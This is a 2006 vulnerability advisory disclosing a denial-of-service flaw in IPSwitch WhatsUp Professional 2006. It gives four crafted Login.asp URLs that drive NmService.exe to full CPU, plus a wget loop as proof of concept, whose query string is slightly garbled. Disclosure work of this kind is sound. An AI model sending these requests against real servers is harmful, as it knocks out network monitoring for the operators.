Synopsis: IPSwitch WhatsUp Professional 2006 DoS Flaw

Product: IPSwitch WhatsUp
           http://www.ipswitch.com

Version: Confirmed on WhatsUp Professional 2006

Author: Josh Zlatin-Amishav

Date: February 22, 2006

Background:
WhatsUp Professional 2006 is application and network management that keeps your
critical business technology, like email servers and databases, working 
efficiently so you can run your business.

Issue:
The NmService.exe executable does not handle certain requests properly. The 
following URLs can be used to create a DoS condition due to the NmService using
100% CPU

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&btnLogIn=[Log&In]=&sLoginUserName=

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&btnLogIn=[Log&In]=&sLoginPassword=

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&In]=&btnLogIn=

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&btnLogIn=[Log&In]=


PoC:

while [ 1 ];
do
    wget -O /dev/null http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&b;tnLogIn=[Log&In]=&sLoginUserName=; 
done

References:
http://www.ipswitch.com
http://zur.homelinux.com/Advisories/ipswitch_dos.txt